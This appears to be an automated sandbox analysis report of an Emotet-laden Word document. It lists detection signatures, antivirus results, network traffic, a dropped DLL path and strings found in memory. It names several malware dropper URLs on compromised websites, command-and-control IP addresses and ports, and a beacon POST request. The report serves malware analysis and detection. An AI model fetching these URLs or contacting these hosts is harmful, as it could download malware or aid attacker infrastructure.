Analysis Report 68254_2001.doc

Overview

General Information

Sample Name: 68254_2001.doc
Analysis ID: 345226
MD5: 72a3bbd36a5aa4c5249d1ec4766369b8
SHA1: 68e23b96d389bd088e3c377555e5e88e239b536d
SHA256: 8c425fd958630a27d8ad158e21c4fc627c6b594931da974faf655707d6e06ea2

Most interesting Screenshot:

Detection

Emotet
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for URL or domain
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
System process connects to network (likely due to code injection or exploit)
Yara detected Emotet
Creates processes via WMI
Document contains an embedded VBA with many GOTO operations indicating source code obfuscation
Document contains an embedded VBA with many randomly named variables
Encrypted powershell cmdline option found
Hides that the sample has been downloaded from the Internet (zone.identifier)
Machine Learning detection for dropped file
Obfuscated command line found
Potential dropper URLs found in powershell memory
Powershell drops PE file
Sigma detected: Suspicious Call by Ordinal
Sigma detected: Suspicious Encoded PowerShell Command Line
Suspicious powershell command line found
Very long command line found
Abnormal high CPU Usage
Adds / modifies Windows certificates
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Document contains an embedded VBA macro which executes code when the document is opened / closed
Document contains embedded VBA macros
Document has an unknown application name
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Drops certificate files (DER)
Enables debug privileges
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

AV Detection:

barindex
Antivirus detection for URL or domain
Source: https://www.teelekded.com/cgi-bin/LPo/ Avira URL Cloud: Label: malware
Source: https://ummahstars.com/app_old_may_2018/assets/wDL8x/ Avira URL Cloud: Label: malware
Source: http://ketoresetme.com/wp-content/Rk4rz/ Avira URL Cloud: Label: malware
Source: http://intellisavvy.com/wp-admin/dRaG2H/ Avira URL Cloud: Label: malware
Source: https://hbprivileged.com/cgi-bin/Qg/ Avira URL Cloud: Label: malware
Source: https://www.teelekded.com/cgi-bin/LPo/P Avira URL Cloud: Label: malware
Source: https://theo.digital/wp-admin/Zyl2/ Avira URL Cloud: Label: malware
Multi AV Scanner detection for dropped file
Source: C:\Users\user\Ocmd_ke\Qqw8nbh\A30F.dll Metadefender: Detection: 45% Perma Link
Source: C:\Users\user\Ocmd_ke\Qqw8nbh\A30F.dll ReversingLabs: Detection: 85%
Multi AV Scanner detection for submitted file
Source: 68254_2001.doc Virustotal: Detection: 46% Perma Link
Source: 68254_2001.doc Metadefender: Detection: 48% Perma Link
Source: 68254_2001.doc ReversingLabs: Detection: 75%
Machine Learning detection for dropped file
Source: C:\Users\user\Ocmd_ke\Qqw8nbh\A30F.dll Joe Sandbox ML: detected

Compliance:

barindex
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 177.12.170.95:443 -> 192.168.2.22:49171 version: TLS 1.0
Source: unknown HTTPS traffic detected: 35.163.191.195:443 -> 192.168.2.22:49178 version: TLS 1.0
Source: unknown HTTPS traffic detected: 35.163.191.195:443 -> 192.168.2.22:49178 version: TLS 1.0
Uses new MSVCR Dlls
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Binary contains paths to debug symbols
Source: Binary string: C:\Windows\symbols\dll\System.Management.Automation.pdbCom source: powershell.exe, 00000005.00000002.2112325686.0000000002B87000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\dll\System.Management.Automation.pdbProg source: powershell.exe, 00000005.00000002.2112325686.0000000002B87000.00000004.00000040.sdmp
Source: Binary string: mscorlib.pdb source: powershell.exe, 00000005.00000002.2112325686.0000000002B87000.00000004.00000040.sdmp
Source: Binary string: scorlib.pdb source: powershell.exe, 00000005.00000002.2112325686.0000000002B87000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2112325686.0000000002B87000.00000004.00000040.sdmp
Source: Binary string: ws\System.Management.Automation.pdbpdbion.pdbERSP source: powershell.exe, 00000005.00000002.2112325686.0000000002B87000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2112325686.0000000002B87000.00000004.00000040.sdmp
Source: Binary string: mscorrc.pdb source: powershell.exe, 00000005.00000002.2112185390.0000000002AF0000.00000002.00000001.sdmp
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini Jump to behavior

Software Vulnerabilities:

barindex
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: ketoresetme.com
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 192.124.249.8:443
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 70.32.23.58:80

Networking:

barindex
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Source: Traffic Snort IDS: 2404344 ET CNC Feodo Tracker Reported CnC Server TCP group 23 192.168.2.22:49179 -> 84.232.229.24:80
Source: Traffic Snort IDS: 2404334 ET CNC Feodo Tracker Reported CnC Server TCP group 18 192.168.2.22:49180 -> 51.255.203.164:8080
Source: Traffic Snort IDS: 2404328 ET CNC Feodo Tracker Reported CnC Server TCP group 15 192.168.2.22:49182 -> 217.160.169.110:8080
Potential dropper URLs found in powershell memory
Source: powershell.exe, 00000005.00000002.2123660159.000000001D0F7000.00000002.00000001.sdmp String found in memory: Ease of Access Centero<a href="http://go.microsoft.com/fwlink/?linkid=63345">Learn about additional assistive technologies online</a>o<a href="http://go.microsoft.com/fwlink/?linkid=63353">Learn about additional assistive technologies online</a>o<a href="http://go.microsoft.com/fwlink/?linkid=63363">Learn about additional assistive technologies online</a>o<a href="http://go.microsoft.com/fwlink/?linkid=63367">Learn about additional assistive technologies online</a>o<a href="http://go.microsoft.com/fwlink/?linkid=63370">Learn about additional assistive technologies online</a>o<a href="http://go.microsoft.com/fwlink/?linkid=63373">Learn about additional assistive technologies online</a>o<a href="http://go.microsoft.com/fwlink/?linkid=63376">Learn about additional assistive technologies online</a>PA!Make your computer easier to use.BGet recommendations to make your computer easier to use (eyesight)CGet recommendations to make your computer easier to use (dexterity)AGet recommendations to make your computer easier to use (hearing)
Source: powershell.exe, 00000005.00000002.2123660159.000000001D0F7000.00000002.00000001.sdmp String found in memory: Get recommendations to make your computer easier to use (speech)CGet recommendations to make your computer easier to use (cognitive)"Use the computer without a display
Source: powershell.exe, 00000005.00000002.2123660159.000000001D0F7000.00000002.00000001.sdmp String found in memory: normal/http://images.metaservices.microsoft.com/cover/6http://redir.metaservices.microsoft.com/redir/buynow/?1http://redir.metaservices.microsoft.com/dvdcover/PA6http://redir.metaservices.microsoft.com/redir/buynow/?,http://windowsmedia.com/redir/findmedia.asp?9http://redir.metaservices.microsoft.com/redir/getmdrdvd/?8http://redir.metaservices.microsoft.com/redir/getmdrcd/?Bhttp://redir.metaservices.microsoft.com/redir/getmdrcdbackground/??http://redir.metaservices.microsoft.com/redir/getmdrcdposturl/?Ihttp://redir.metaservices.microsoft.com/redir/getmdrcdposturlbackground/?=http://redir.metaservices.microsoft.com/redir/getdaiposturl/?:http://redir.metaservices.microsoft.com/redir/daifailure/?
Source: powershell.exe, 00000005.00000002.2123660159.000000001D0F7000.00000002.00000001.sdmp String found in memory: Microsoft Corporation/(C) Microsoft Corporation. All rights reserved.9http://redir.metaservices.microsoft.com/redir/submittoc/?-http://windowsmedia.com/redir/QueryTOCExt.asp1res://wmploc.dll/Offline_MediaInfo_NowPlaying.htm7http://redir.metaservices.microsoft.com/redir/buynowmg/,http://windowsmedia.com/redir/buyticket9.asp)http://windowsmedia.com/redir/IDPPage.asp)http://windowsmedia.com/redir/IDPLogo.asp
Source: powershell.exe, 00000005.00000002.2123660159.000000001D0F7000.00000002.00000001.sdmp String found in memory: AMG Rating: %s stars:http://redir.metaservices.microsoft.com/redir/mediaguide/?9http://redir.metaservices.microsoft.com/redir/radiotuner/,http://windowsmedia.com/redir/QueryTOCNP.asp#Show Video and Visualization Window9http://redir.metaservices.microsoft.com/redir/dvddetails/9http://redir.metaservices.microsoft.com/redir/dvdwizard/?PA
Source: powershell.exe, 00000005.00000002.2123660159.000000001D0F7000.00000002.00000001.sdmp String found in memory: Do you want to switch to it now?
Source: powershell.exe, 00000005.00000002.2123660159.000000001D0F7000.00000002.00000001.sdmp String found in memory: http://www.microsoft.com/windows/windowsmedia/musicservices.aspx?http://redir.metaservices.microsoft.com/redir/allservices/?sv=2?http://redir.metaservices.microsoft.com/redir/allservices/?sv=3?http://redir.metaservices.microsoft.com/redir/allservices/?sv=5PA
Source: powershell.exe, 00000005.00000002.2123472940.000000001CF10000.00000002.00000001.sdmp String found in memory: Autoplay,http://go.microsoft.com/fwlink/?LinkId=30564-http://go.microsoft.com/fwlink/?LinkId=145764-http://go.microsoft.com/fwlink/?LinkId=145764-http://go.microsoft.com/fwlink/?LinkId=145764-http://go.microsoft.com/fwlink/?LinkId=145764-http://go.microsoft.com/fwlink/?LinkId=131536-http://go.microsoft.com/fwlink/?LinkId=131535+http://go.microsoft.com/fwlink/?LinkId=8430
Source: powershell.exe, 00000005.00000002.2123472940.000000001CF10000.00000002.00000001.sdmp String found in memory: PRODUCT_KEY_PROBLEMS$ACTIVATION_TYPE_KEY_FIND_PRODUCT_KEY)ACTIVATION_TYPE_DIFF_KEY_FIND_PRODUCT_KEY+ACTIVATION_CHNG_TO_LICENSE_FIND_PRODUCT_KEYPA,ACTIVATION_PERIOD_EXPIRED_WHAT_IS_ACTIVATION-ACTIVATION_LICENSE_EXPIRED_WHAT_IS_ACTIVATION,ACTIVATION_LICENSE_EXPIRED_PRIVACY_STATEMENTPA,http://go.microsoft.com/fwlink/?LinkID=90983-http://go.microsoft.com/fwlink/?LinkId=123784PA$E77344FA-E978-464C-953E-EBA44F0522670ACTIVATION_ERROR_INSTALLING_REINSTALLING_WINDOWS$f3b8150b-0bd1-4fec-8283-7a1dd45c16377ACTIVATION_ERROR_REINSTALL_WINDOWS_CREATE_RESTORE_POINTPA-http://go.microsoft.com/fwlink/?LinkId=100109-http://go.microsoft.com/fwlink/?LinkId=100096-http://go.microsoft.com/fwlink/?LinkId=120830-http://go.microsoft.com/fwlink/?LinkId=120831,http://go.microsoft.com/fwlink/?LinkId=89429
Source: powershell.exe, 00000005.00000002.2120461916.0000000003AAE000.00000004.00000001.sdmp String found in memory: http://ketoresetme.com/wp-content/Rk4rz/
Source: powershell.exe, 00000005.00000002.2120461916.0000000003AAE000.00000004.00000001.sdmp String found in memory: http://intellisavvy.com/wp-admin/dRaG2H/
Source: powershell.exe, 00000005.00000002.2120461916.0000000003AAE000.00000004.00000001.sdmp String found in memory: https://mrveggy.com/wp-admin/n/
Source: powershell.exe, 00000005.00000002.2120461916.0000000003AAE000.00000004.00000001.sdmp String found in memory: https://hbprivileged.com/cgi-bin/Qg/
Source: powershell.exe, 00000005.00000002.2120461916.0000000003AAE000.00000004.00000001.sdmp String found in memory: https://theo.digital/wp-admin/Zyl2/
Source: powershell.exe, 00000005.00000002.2120461916.0000000003AAE000.00000004.00000001.sdmp String found in memory: https://ummahstars.com/app_old_may_2018/assets/wDL8x/
Source: powershell.exe, 00000005.00000002.2120461916.0000000003AAE000.00000004.00000001.sdmp String found in memory: https://www.teelekded.com/cgi-bin/LPo/
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.22:49180 -> 51.255.203.164:8080
Source: global traffic TCP traffic: 192.168.2.22:49182 -> 217.160.169.110:8080
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /wp-content/Rk4rz/ HTTP/1.1Host: ketoresetme.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-admin/dRaG2H/ HTTP/1.1Host: intellisavvy.comConnection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 70.32.23.58 70.32.23.58
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: ONEANDONE-ASBrauerstrasse48DE ONEANDONE-ASBrauerstrasse48DE
Source: Joe Sandbox View ASN Name: OVHFR OVHFR
Source: Joe Sandbox View ASN Name: A2HOSTINGUS A2HOSTINGUS
Source: Joe Sandbox View ASN Name: GOOGLE-2US GOOGLE-2US
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: POST /mcbf10vnnn8hf/qv9l36h26wgbq5tqf/ HTTP/1.1DNT: 0Referer: 51.15.7.145/mcbf10vnnn8hf/qv9l36h26wgbq5tqf/Content-Type: multipart/form-data; boundary=-----------------GbQkm8qOKaDBZZ6NNUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 51.15.7.145Content-Length: 6020Connection: Keep-AliveCache-Control: no-cache
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 177.12.170.95:443 -> 192.168.2.22:49171 version: TLS 1.0
Source: unknown HTTPS traffic detected: 35.163.191.195:443 -> 192.168.2.22:49178 version: TLS 1.0
Source: unknown HTTPS traffic detected: 35.163.191.195:443 -> 192.168.2.22:49178 version: TLS 1.0
Source: unknown TCP traffic detected without corresponding DNS query: 84.232.229.24
Source: unknown TCP traffic detected without corresponding DNS query: 84.232.229.24
Source: unknown TCP traffic detected without corresponding DNS query: 84.232.229.24
Source: unknown TCP traffic detected without corresponding DNS query: 51.255.203.164
Source: unknown TCP traffic detected without corresponding DNS query: 51.255.203.164
Source: unknown TCP traffic detected without corresponding DNS query: 51.255.203.164
Source: unknown TCP traffic detected without corresponding DNS query: 51.255.203.164
Source: unknown TCP traffic detected without corresponding DNS query: 51.255.203.164
Source: unknown TCP traffic detected without corresponding DNS query: 51.255.203.164
Source: unknown TCP traffic detected without corresponding DNS query: 217.160.169.110
Source: unknown TCP traffic detected without corresponding DNS query: 217.160.169.110
Source: unknown TCP traffic detected without corresponding DNS query: 217.160.169.110
Source: unknown TCP traffic detected without corresponding DNS query: 217.160.169.110
Source: unknown TCP traffic detected without corresponding DNS query: 217.160.169.110
Source: unknown TCP traffic detected without corresponding DNS query: 217.160.169.110
Source: unknown TCP traffic detected without corresponding DNS query: 51.15.7.145
Source: unknown TCP traffic detected without corresponding DNS query: 51.15.7.145
Source: unknown TCP traffic detected without corresponding DNS query: 51.15.7.145
Source: unknown TCP traffic detected without corresponding DNS query: 51.15.7.145
Source: unknown TCP traffic detected without corresponding DNS query: 51.15.7.145
Source: unknown TCP traffic detected without corresponding DNS query: 51.15.7.145
Source: unknown TCP traffic detected without corresponding DNS query: 51.15.7.145
Source: unknown TCP traffic detected without corresponding DNS query: 51.15.7.145
Source: unknown TCP traffic detected without corresponding DNS query: 51.15.7.145
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{A5D0E98E-EB6B-4CC4-8C38-663EBE143117}.tmp Jump to behavior
Source: global traffic HTTP traffic detected: GET /wp-content/Rk4rz/ HTTP/1.1Host: ketoresetme.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-admin/dRaG2H/ HTTP/1.1Host: intellisavvy.comConnection: Keep-Alive
Source: powershell.exe, 00000005.00000002.2123472940.000000001CF10000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2127555441.0000000001BC0000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2124154383.0000000001F60000.00000002.00000001.sdmp String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
Source: powershell.exe, 00000005.00000002.2120952904.000000001B480000.00000004.00000001.sdmp String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)
Source: unknown DNS traffic detected: queries for: ketoresetme.com
Source: unknown HTTP traffic detected: POST /mcbf10vnnn8hf/qv9l36h26wgbq5tqf/ HTTP/1.1DNT: 0Referer: 51.15.7.145/mcbf10vnnn8hf/qv9l36h26wgbq5tqf/Content-Type: multipart/form-data; boundary=-----------------GbQkm8qOKaDBZZ6NNUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 51.15.7.145Content-Length: 6020Connection: Keep-AliveCache-Control: no-cache
Source: powershell.exe, 00000005.00000002.2120553470.0000000003BDD000.00000004.00000001.sdmp String found in binary or memory: http://apps.identrust.com/roots/dstrootcax3.p7c0
Source: powershell.exe, 00000005.00000002.2119387476.0000000002F32000.00000004.00000001.sdmp String found in binary or memory: http://certificates.godaddy.com/repository/0
Source: powershell.exe, 00000005.00000002.2119387476.0000000002F32000.00000004.00000001.sdmp String found in binary or memory: http://certificates.godaddy.com/repository/gdig2.crt0
Source: powershell.exe, 00000005.00000002.2123409820.000000001CD42000.00000004.00000001.sdmp String found in binary or memory: http://certs.godaddy.com/repository/1301
Source: powershell.exe, 00000005.00000002.2120553470.0000000003BDD000.00000004.00000001.sdmp String found in binary or memory: http://cps.letsencrypt.org0
Source: powershell.exe, 00000005.00000002.2120553470.0000000003BDD000.00000004.00000001.sdmp String found in binary or memory: http://cps.root-x1.letsencrypt.org0
Source: powershell.exe, 00000005.00000002.2121560915.000000001B556000.00000004.00000001.sdmp String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: powershell.exe, 00000005.00000002.2121616867.000000001B565000.00000004.00000001.sdmp String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: powershell.exe, 00000005.00000002.2121560915.000000001B556000.00000004.00000001.sdmp String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: powershell.exe, 00000005.00000002.2121616867.000000001B565000.00000004.00000001.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: powershell.exe, 00000005.00000002.2119387476.0000000002F32000.00000004.00000001.sdmp String found in binary or memory: http://crl.godaddy.com/gdig2s1-1814.crl0
Source: powershell.exe, 00000005.00000002.2123409820.000000001CD42000.00000004.00000001.sdmp String found in binary or memory: http://crl.godaddy.com/gdroot-g2.crl0F
Source: powershell.exe, 00000005.00000003.2109481139.000000001CD42000.00000004.00000001.sdmp String found in binary or memory: http://crl.godaddy.com/gdroot.crl0F
Source: powershell.exe, 00000005.00000002.2120553470.0000000003BDD000.00000004.00000001.sdmp String found in binary or memory: http://crl.identrust.com/DSTROOTCAX3CRL.crl0
Source: powershell.exe, 00000005.00000002.2121560915.000000001B556000.00000004.00000001.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: powershell.exe, 00000005.00000002.2121560915.000000001B556000.00000004.00000001.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: powershell.exe, 00000005.00000002.2119387476.0000000002F32000.00000004.00000001.sdmp String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: powershell.exe, 00000005.00000002.2119387476.0000000002F32000.00000004.00000001.sdmp String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: powershell.exe, 00000005.00000002.2109772085.00000000003B1000.00000004.00000020.sdmp String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: powershell.exe, 00000005.00000002.2120952904.000000001B480000.00000004.00000001.sdmp String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: powershell.exe, 00000005.00000002.2120526836.0000000003B92000.00000004.00000001.sdmp String found in binary or memory: http://intellisavvy.com
Source: powershell.exe, 00000005.00000002.2119387476.0000000002F32000.00000004.00000001.sdmp, powershell.exe, 00000005.00000002.2120461916.0000000003AAE000.00000004.00000001.sdmp String found in binary or memory: http://intellisavvy.com/wp-admin/dRaG2H/
Source: powershell.exe, 00000005.00000002.2123472940.000000001CF10000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2127555441.0000000001BC0000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2124154383.0000000001F60000.00000002.00000001.sdmp String found in binary or memory: http://investor.msn.com
Source: powershell.exe, 00000005.00000002.2123472940.000000001CF10000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2127555441.0000000001BC0000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2124154383.0000000001F60000.00000002.00000001.sdmp String found in binary or memory: http://investor.msn.com/
Source: powershell.exe, 00000005.00000002.2120526836.0000000003B92000.00000004.00000001.sdmp String found in binary or memory: http://ketoresetme.com
Source: powershell.exe, 00000005.00000002.2119387476.0000000002F32000.00000004.00000001.sdmp, powershell.exe, 00000005.00000002.2120461916.0000000003AAE000.00000004.00000001.sdmp String found in binary or memory: http://ketoresetme.com/wp-content/Rk4rz/
Source: powershell.exe, 00000005.00000002.2123660159.000000001D0F7000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2127830169.0000000001DA7000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2124541476.0000000002147000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2134936762.0000000002007000.00000002.00000001.sdmp String found in binary or memory: http://localizability/practices/XML.asp
Source: powershell.exe, 00000005.00000002.2123660159.000000001D0F7000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2127830169.0000000001DA7000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2124541476.0000000002147000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2134936762.0000000002007000.00000002.00000001.sdmp String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: powershell.exe, 00000005.00000002.2121560915.000000001B556000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.comodoca.com0
Source: powershell.exe, 00000005.00000002.2121376254.000000001B540000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.comodoca.com0%
Source: powershell.exe, 00000005.00000002.2121560915.000000001B556000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.comodoca.com0-
Source: powershell.exe, 00000005.00000002.2121560915.000000001B556000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.comodoca.com0/
Source: powershell.exe, 00000005.00000002.2121560915.000000001B556000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.comodoca.com05
Source: powershell.exe, 00000005.00000002.2121560915.000000001B556000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.entrust.net03
Source: powershell.exe, 00000005.00000002.2121616867.000000001B565000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.entrust.net0D
Source: powershell.exe, 00000005.00000002.2119387476.0000000002F32000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.godaddy.com/0
Source: powershell.exe, 00000005.00000003.2109481139.000000001CD42000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.godaddy.com/02
Source: powershell.exe, 00000005.00000002.2123409820.000000001CD42000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.godaddy.com/05
Source: powershell.exe, 00000005.00000002.2119387476.0000000002F32000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.sectigo.com0
Source: powershell.exe, 00000005.00000002.2120553470.0000000003BDD000.00000004.00000001.sdmp String found in binary or memory: http://r3.i.lencr.org/0%
Source: powershell.exe, 00000005.00000002.2120553470.0000000003BDD000.00000004.00000001.sdmp String found in binary or memory: http://r3.o.lencr.org0
Source: powershell.exe, 00000005.00000002.2110315504.0000000002240000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2135208859.0000000002750000.00000002.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: powershell.exe, 00000005.00000002.2123888696.000000001D2F0000.00000002.00000001.sdmp String found in binary or memory: http://servername/isapibackend.dll
Source: powershell.exe, 00000005.00000002.2123660159.000000001D0F7000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2127830169.0000000001DA7000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2124541476.0000000002147000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2134936762.0000000002007000.00000002.00000001.sdmp String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: powershell.exe, 00000005.00000002.2123660159.000000001D0F7000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2127830169.0000000001DA7000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2124541476.0000000002147000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2134936762.0000000002007000.00000002.00000001.sdmp String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: powershell.exe, 00000005.00000002.2110315504.0000000002240000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2135208859.0000000002750000.00000002.00000001.sdmp String found in binary or memory: http://www.%s.comPA
Source: powershell.exe, 00000005.00000002.2121616867.000000001B565000.00000004.00000001.sdmp String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: powershell.exe, 00000005.00000002.2121560915.000000001B556000.00000004.00000001.sdmp String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: powershell.exe, 00000005.00000002.2123472940.000000001CF10000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2127555441.0000000001BC0000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2124154383.0000000001F60000.00000002.00000001.sdmp String found in binary or memory: http://www.hotmail.com/oe
Source: powershell.exe, 00000005.00000002.2123660159.000000001D0F7000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2127830169.0000000001DA7000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2124541476.0000000002147000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2134936762.0000000002007000.00000002.00000001.sdmp String found in binary or memory: http://www.icra.org/vocabulary/.
Source: powershell.exe, 00000005.00000002.2123472940.000000001CF10000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2127555441.0000000001BC0000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2124154383.0000000001F60000.00000002.00000001.sdmp String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: powershell.exe, 00000005.00000002.2109740274.0000000000364000.00000004.00000020.sdmp String found in binary or memory: http://www.piriform.com/ccleaneN
Source: powershell.exe, 00000005.00000002.2109740274.0000000000364000.00000004.00000020.sdmp String found in binary or memory: http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
Source: rundll32.exe, 00000008.00000002.2134527385.0000000001E20000.00000002.00000001.sdmp String found in binary or memory: http://www.windows.com/pctv.
Source: powershell.exe, 00000005.00000002.2123409820.000000001CD42000.00000004.00000001.sdmp String found in binary or memory: https://certs.godaddy.com/repository/0
Source: powershell.exe, 00000005.00000002.2120553470.0000000003BDD000.00000004.00000001.sdmp String found in binary or memory: https://hbprivileged.com
Source: powershell.exe, 00000005.00000002.2119387476.0000000002F32000.00000004.00000001.sdmp, powershell.exe, 00000005.00000002.2120461916.0000000003AAE000.00000004.00000001.sdmp String found in binary or memory: https://hbprivileged.com/cgi-bin/Qg/
Source: powershell.exe, 00000005.00000002.2120553470.0000000003BDD000.00000004.00000001.sdmp String found in binary or memory: https://hbprivileged.comhB
Source: powershell.exe, 00000005.00000002.2120526836.0000000003B92000.00000004.00000001.sdmp String found in binary or memory: https://intellisavvy.com
Source: powershell.exe, 00000005.00000002.2120526836.0000000003B92000.00000004.00000001.sdmp String found in binary or memory: https://intellisavvy.com/wp-admin/dRaG2H/
Source: powershell.exe, 00000005.00000002.2120548704.0000000003BD8000.00000004.00000001.sdmp String found in binary or memory: https://intellisavvy.comh
